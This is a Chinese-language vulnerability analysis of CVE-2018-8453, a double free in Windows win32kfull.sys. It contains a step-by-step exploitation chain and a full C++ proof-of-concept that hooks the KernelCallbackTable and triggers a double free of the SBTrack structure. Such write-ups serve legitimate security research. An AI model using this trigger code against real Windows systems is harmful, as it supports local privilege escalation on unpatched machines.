CVE-2018-8453漏洞分析
0x00漏洞信息
漏洞影响:本地提权
漏洞文件:win32kfull.sys
漏洞函数:NtUserSetWindowFNID
漏洞原因:双释放
漏洞日期:2018年 10月9号
【漏洞分析合集】
0x01参考链接
http://www.whsgwl.net/blog/CVE-2018-8453_0.html
https://bbs.pediy.com/thread-249021.htm
0x02漏洞利用
HOOK KernelCallbackTable->注册窗口类,WNDCLASSEXW.cbWndExtra设置为4->产生主窗口->以主窗口作为父窗口产生一个滚动条窗口SrollBar->发送WM_LBUTTONDOWN消息->系统处理消息初始化SBTrack结构并开始循环->发生fnDWORD回调,fnDWORD回调中销毁主窗口->销毁主窗口,释放扩展字节xxxClientFreeWindowClassExtraBytes->xxxClientFreeWindowClassExtraBytes系统调用回调fnClientFreeWindowClassExtraBytesCallBack->fnClientFreeWindowClassExtraBytesCallBack HOOK中调用NtUserSetWindowFNID更改掉窗口FNID->创建新窗口并调用SetCapture设置新窗口为捕获窗口->xxxSBLoop返回后解除主窗口引用->由于这是主窗口唯一的一个引用,这次解除导致彻底释放主窗口对象,xxxFreeWindow函数执行->由于主窗口对象的FNID已经被更改,xxxFreeWindow函数执行过程中将再一次回到用户态->用户态向新窗口发送WM_CANCELMODE消息->系统处理WM_CANCELMODE消息,释放了SBTrack->流程返回到内核继续执行xxxSBTrackInit函数最后的释放SBTrack->重复释放SBTrack!
0x03poc
// CVE-2018-8453.cpp : 定义控制台应用程序的入口点。 // #pragma warning(disable:4996); #include <iostream> #include <string.h> #include <windows.h> #include <tchar.h> #include <intrin.h> using namespace std; EXTERN_C ULONG64 GetPeb(VOID); EXTERN_C ULONG64 NtUserSetWindowFNID(HANDLE, UINT); typedef VOID(WINAPI* My_FnFunction)( IN PVOID MSG ); UINT Flag = 0; HWND Window = NULL, SrollBar = NULL, New_SrollBar = NULL; ULONG64 PEB = NULL, fnDWORD_Address; My_FnFunction fnDword = NULL, xxxClientAllocWindowClassExtraBytes = NULL; UINT CreateWindows(VOID) { HINSTANCE hInstance; WNDCLASS wndclass = { 0 }; { hInstance = GetModuleHandleA(0); wndclass.style = CS_HREDRAW | CS_VREDRAW; wndclass.lpfnWndProc = DefWindowProc; wndclass.hInstance = hInstance; wndclass.cbWndExtra = 0x8; wndclass.lpszMenuName = NULL; wndclass.lpszClassName = "case"; if (!RegisterClassA(&wndclass)) { cout << "RegisterClass Error!" << endl; return 1; } } Window = CreateWindowExA(0, "case", NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); if (!Window) { cout << "Create Window Error!" << endl; return 1; } //保存句柄在扩展内存中 SetWindowLongA(Window, 0, (ULONG)Window); //WS_CHILD | //SBS_HORZ创建滚动条控件 WS_CHILD生成的窗口是母窗口的子窗口 SrollBar = CreateWindowExA(0, "SCROLLBAR", NULL, WS_CHILD | WS_VISIBLE | SBS_HORZ, NULL, NULL, 2, 2, Window, NULL, hInstance, NULL); cout << "Window:0x" << hex << Window << endl; cout << "SrollBar:0x" << hex << SrollBar << endl; } VOID fnDWORDHook(PMSG MSG) { if (*(DWORD*)MSG && Flag) {//flag 只走一次 Flag = 0; DestroyWindow(Window);//销毁窗口 触发xxxClientAllocWindowClassExtraBytesHook } if (*((PULONG64)MSG + 1) == 0x70) { SendMessageA(New_SrollBar, 0x1F, 0, 0);//xxxEndScroll } fnDword(MSG); } VOID xxxClientAllocWindowClassExtraBytesHook(PVOID MSG) { if ((*(HWND*)*(HWND*)MSG) == Window) {//判断句柄是否在窗口扩展中 证明是当前主窗口消息 cout << "xxxClientAllocWindowClassExtraBytes" << endl; New_SrollBar = CreateWindowExA(0, "SCROLLBAR", NULL, SBS_HORZ | WS_HSCROLL | WS_VSCROLL, NULL, NULL, 2, 2, NULL, NULL, GetModuleHandleA(0), NULL); NtUserSetWindowFNID(Window, 0x2A1);//0x82A1 从新赋值 SetCapture(New_SrollBar); } xxxClientAllocWindowClassExtraBytes(MSG); } VOID Hook_Init(VOID) { DWORD OldType = 0; ULONG64 KernelCallbackTable = *(ULONG64*)(PEB + 0x58);//回调函数 VirtualProtect((LPVOID)KernelCallbackTable, 0x1024, PAGE_EXECUTE_READWRITE, &OldType); //fnDWORD fnDword = (My_FnFunction) * (ULONG64*)(KernelCallbackTable + 0x08 * 0x02); *(ULONG64*)(KernelCallbackTable + 0x08 * 0x02) = (ULONG64)fnDWORDHook; //xxxClientAllocWindowClassExtraBytes xxxClientAllocWindowClassExtraBytes = (My_FnFunction) * (ULONG64*)(KernelCallbackTable + 0x08 * 0x80); *(ULONG64*)(KernelCallbackTable + 0x08 * 0x80) = (ULONG64)xxxClientAllocWindowClassExtraBytesHook; } int _tmain(int argc, _TCHAR* argv[]) { //获取PEB地址 PEB = GetPeb(); //创建窗口 CreateWindows(); //Hook Hook_Init(); Flag = 1; //向滚动条发送点击消息 SendMessageA(SrollBar, WM_LBUTTONDOWN, MK_LBUTTON, 0x00080008); getchar(); return 0; }